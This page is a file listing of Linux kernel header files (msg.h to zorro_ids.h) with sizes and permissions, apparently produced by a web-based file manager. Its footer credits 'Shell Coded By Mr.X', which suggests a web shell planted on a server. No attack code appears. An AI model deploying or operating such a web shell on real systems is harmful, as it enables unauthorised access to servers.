msg.h File 3.31 KB 0644
mtio.h File 7.98 KB 0644
nbd-netlink.h File 2.35 KB 0644
nbd.h File 3.53 KB 0644
ncsi.h File 4.71 KB 0644
ndctl.h File 6.66 KB 0644
neighbour.h File 5.96 KB 0644
net.h File 2.04 KB 0644
net_dropmon.h File 2.85 KB 0644
net_namespace.h File 715 B 0644
net_tstamp.h File 5.97 KB 0644
netconf.h File 614 B 0644
netdev.h File 4.23 KB 0644
netdevice.h File 2.2 KB 0644
netfilter.h File 1.69 KB 0644
netfilter_arp.h File 445 B 0644
netfilter_bridge.h File 1.14 KB 0644
netfilter_ipv4.h File 1.45 KB 0644
netfilter_ipv6.h File 1.35 KB 0644
netlink.h File 12.1 KB 0644
netlink_diag.h File 1.49 KB 0644
netrom.h File 807 B 0644
nexthop.h File 2.76 KB 0644
nfc.h File 10.97 KB 0644
nfs.h File 4.39 KB 0644
nfs2.h File 1.43 KB 0644
nfs3.h File 2.4 KB 0644
nfs4.h File 6.39 KB 0644
nfs4_mount.h File 1.89 KB 0644
nfs_fs.h File 1.62 KB 0644
nfs_idmap.h File 2.19 KB 0644
nfs_mount.h File 2.09 KB 0644
nfsacl.h File 718 B 0644
nfsd_netlink.h File 933 B 0644
nilfs2_api.h File 7.41 KB 0644
nilfs2_ondisk.h File 17.66 KB 0644
nitro_enclaves.h File 12.85 KB 0644
nl80211-vnd-intel.h File 4.49 KB 0644
nl80211.h File 334.96 KB 0644
npcm-video.h File 1.19 KB 0644
nsfs.h File 639 B 0644
nsm.h File 740 B 0644
nubus.h File 8 KB 0644
nvme_ioctl.h File 2.43 KB 0644
nvram.h File 532 B 0644
omap3isp.h File 20.45 KB 0644
omapfb.h File 5.78 KB 0644
oom.h File 511 B 0644
openat2.h File 1.42 KB 0644
openvswitch.h File 40.05 KB 0644
packet_diag.h File 1.63 KB 0644
param.h File 141 B 0644
parport.h File 3.75 KB 0644
patchkey.h File 892 B 0644
pci.h File 1.35 KB 0644
pci_regs.h File 60.36 KB 0644
pcitest.h File 920 B 0644
perf_event.h File 42.28 KB 0644
personality.h File 2.05 KB 0644
pfkeyv2.h File 10.39 KB 0644
pfrut.h File 7.8 KB 0644
pg.h File 2.34 KB 0644
phantom.h File 1.62 KB 0644
phonet.h File 4.57 KB 0644
pidfd.h File 256 B 0644
pkt_cls.h File 18.15 KB 0644
pkt_sched.h File 28.66 KB 0644
pktcdvd.h File 2.35 KB 0644
pmu.h File 5.32 KB 0644
poll.h File 22 B 0644
posix_acl.h File 1.22 KB 0644
posix_acl_xattr.h File 1.09 KB 0644
posix_types.h File 1.07 KB 0644
ppdev.h File 3.21 KB 0644
ppp-comp.h File 2.47 KB 0644
ppp-ioctl.h File 5.59 KB 0644
ppp_defs.h File 5.43 KB 0644
pps.h File 4.62 KB 0644
pr.h File 1.59 KB 0644
prctl.h File 10.42 KB 0644
psample.h File 2.22 KB 0644
psci.h File 5.02 KB 0644
psp-dbc.h File 5.16 KB 0644
psp-sev.h File 4.39 KB 0644
ptp_clock.h File 7.46 KB 0644
ptrace.h File 5.37 KB 0644
qemu_fw_cfg.h File 2.41 KB 0644
qnx4_fs.h File 2.27 KB 0644
qnxtypes.h File 624 B 0644
qrtr.h File 893 B 0644
quota.h File 6.16 KB 0644
radeonfb.h File 360 B 0644
random.h File 1.38 KB 0644
rds.h File 10.91 KB 0644
reboot.h File 1.31 KB 0644
reiserfs_fs.h File 775 B 0644
reiserfs_xattr.h File 542 B 0644
remoteproc_cdev.h File 1.08 KB 0644
resource.h File 2.53 KB 0644
rfkill.h File 5.96 KB 0644
rio_cm_cdev.h File 3.17 KB 0644
rio_mport_cdev.h File 9.11 KB 0644
rkisp1-config.h File 33.39 KB 0644
romfs_fs.h File 1.21 KB 0644
rose.h File 2.18 KB 0644
route.h File 2.28 KB 0644
rpl.h File 854 B 0644
rpl_iptunnel.h File 424 B 0644
rpmsg.h File 1.29 KB 0644
rpmsg_types.h File 288 B 0644
rseq.h File 5.32 KB 0644
rtc.h File 5.19 KB 0644
rtnetlink.h File 20.85 KB 0644
rxrpc.h File 4.81 KB 0644
scc.h File 4.52 KB 0644
sched.h File 6.12 KB 0644
scif_ioctl.h File 6.23 KB 0644
screen_info.h File 2.42 KB 0644
sctp.h File 35.17 KB 0644
seccomp.h File 5.85 KB 0644
securebits.h File 2.64 KB 0644
sed-opal.h File 5.22 KB 0644
seg6.h File 1.14 KB 0644
seg6_genl.h File 589 B 0644
seg6_hmac.h File 423 B 0644
seg6_iptunnel.h File 983 B 0644
seg6_local.h File 3.78 KB 0644
selinux_netlink.h File 1.17 KB 0644
sem.h File 2.98 KB 0644
serial.h File 5.12 KB 0644
serial_core.h File 4.93 KB 0644
serial_reg.h File 15.65 KB 0644
serio.h File 2.05 KB 0644
sev-guest.h File 2.31 KB 0644
shm.h File 3.71 KB 0644
signal.h File 388 B 0644
signalfd.h File 1.2 KB 0644
smc.h File 8.46 KB 0644
smc_diag.h File 2.88 KB 0644
smiapp.h File 1.03 KB 0644
snmp.h File 14.19 KB 0644
sock_diag.h File 1.27 KB 0644
socket.h File 1.02 KB 0644
sockios.h File 6.69 KB 0644
sonet.h File 2.24 KB 0644
sonypi.h File 5.18 KB 0644
sound.h File 1.21 KB 0644
soundcard.h File 44.97 KB 0644
stat.h File 6.84 KB 0644
stddef.h File 1.94 KB 0644
stm.h File 1.24 KB 0644
string.h File 238 B 0644
suspend_ioctls.h File 1.4 KB 0644
swab.h File 6.78 KB 0644
switchtec_ioctl.h File 5.14 KB 0644
sync_file.h File 3.37 KB 0644
synclink.h File 8.77 KB 0644
sysctl.h File 25.42 KB 0644
sysinfo.h File 1.02 KB 0644
target_core_user.h File 4.54 KB 0644
taskstats.h File 8.13 KB 0644
tcp.h File 16.62 KB 0644
tcp_metrics.h File 1.51 KB 0644
tdx-guest.h File 1.27 KB 0644
tee.h File 13.09 KB 0644
termios.h File 172 B 0644
thermal.h File 3.23 KB 0644
thp7312.h File 659 B 0644
time.h File 1.71 KB 0644
time_types.h File 1.24 KB 0644
timerfd.h File 936 B 0644
times.h File 278 B 0644
timex.h File 7.63 KB 0644
tiocl.h File 1.69 KB 0644
tipc.h File 8.62 KB 0644
tipc_config.h File 14.57 KB 0644
tipc_netlink.h File 9.17 KB 0644
tipc_sockets_diag.h File 468 B 0644
tls.h File 7.06 KB 0644
toshiba.h File 1.88 KB 0644
tps6594_pfsm.h File 1.13 KB 0644
tty.h File 1.74 KB 0644
tty_flags.h File 4.4 KB 0644
types.h File 1.73 KB 0644
ublk_cmd.h File 11.69 KB 0644
udf_fs_i.h File 697 B 0644
udmabuf.h File 643 B 0644
udp.h File 1.65 KB 0644
uhid.h File 4.54 KB 0644
uinput.h File 9.04 KB 0644
uio.h File 732 B 0644
uleds.h File 798 B 0644
ultrasound.h File 4.46 KB 0644
um_timetravel.h File 3.87 KB 0644
un.h File 384 B 0644
unistd.h File 220 B 0644
unix_diag.h File 1.3 KB 0644
usbdevice_fs.h File 8.12 KB 0644
usbip.h File 1.47 KB 0644
user_events.h File 2.29 KB 0644
userfaultfd.h File 11.74 KB 0644
userio.h File 1.48 KB 0644
utime.h File 223 B 0644
utsname.h File 669 B 0644
uuid.h File 28 B 0644
uvcvideo.h File 2.57 KB 0644
v4l2-common.h File 2.01 KB 0644
v4l2-controls.h File 145.84 KB 0644
v4l2-dv-timings.h File 30.39 KB 0644
v4l2-mediabus.h File 5.11 KB 0644
v4l2-subdev.h File 9.77 KB 0644
vbox_err.h File 7.09 KB 0644
vbox_vmmdev_types.h File 11.38 KB 0644
vboxguest.h File 9.15 KB 0644
vdpa.h File 1.74 KB 0644
vduse.h File 9.58 KB 0644
version.h File 216 B 0644
veth.h File 224 B 0644
vfio.h File 70.18 KB 0644
vfio_ccw.h File 1.29 KB 0644
vfio_zdev.h File 2.48 KB 0644
vhost.h File 9.74 KB 0644
vhost_types.h File 5.14 KB 0644
videodev2.h File 98.5 KB 0644
virtio_9p.h File 2 KB 0644
virtio_balloon.h File 5.16 KB 0644
virtio_blk.h File 9.75 KB 0644
virtio_bt.h File 910 B 0644
virtio_config.h File 4.65 KB 0644
virtio_console.h File 3.08 KB 0644
virtio_crypto.h File 16.09 KB 0644
virtio_fs.h File 573 B 0644
virtio_gpio.h File 1.67 KB 0644
virtio_gpu.h File 11.19 KB 0644
virtio_i2c.h File 1.16 KB 0644
virtio_ids.h File 4.2 KB 0644
virtio_input.h File 2.46 KB 0644
virtio_iommu.h File 3.84 KB 0644
virtio_mem.h File 6.99 KB 0644
virtio_mmio.h File 4.85 KB 0644
virtio_net.h File 15.08 KB 0644
virtio_pci.h File 9.41 KB 0644
virtio_pcidev.h File 2.39 KB 0644
virtio_pmem.h File 882 B 0644
virtio_ring.h File 8.52 KB 0644
virtio_rng.h File 265 B 0644
virtio_scmi.h File 637 B 0644
virtio_scsi.h File 5.94 KB 0644
virtio_snd.h File 9.09 KB 0644
virtio_types.h File 2.1 KB 0644
virtio_vsock.h File 3.27 KB 0644
vm_sockets.h File 7.18 KB 0644
vm_sockets_diag.h File 963 B 0644
vmcore.h File 455 B 0644
vsockmon.h File 1.84 KB 0644
vt.h File 2.99 KB 0644
vtpm_proxy.h File 1.68 KB 0644
wait.h File 682 B 0644
watch_queue.h File 3.41 KB 0644
watchdog.h File 2.28 KB 0644
wireguard.h File 7.57 KB 0644
wireless.h File 41.7 KB 0644
wmi.h File 1.72 KB 0644
wwan.h File 295 B 0644
x25.h File 3.48 KB 0644
xattr.h File 2.95 KB 0644
xdp_diag.h File 1.43 KB 0644
xfrm.h File 12.42 KB 0644
xilinx-v4l2-controls.h File 2.91 KB 0644
zorro.h File 3.22 KB 0644
zorro_ids.h File 29.36 KB 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X

Filemanager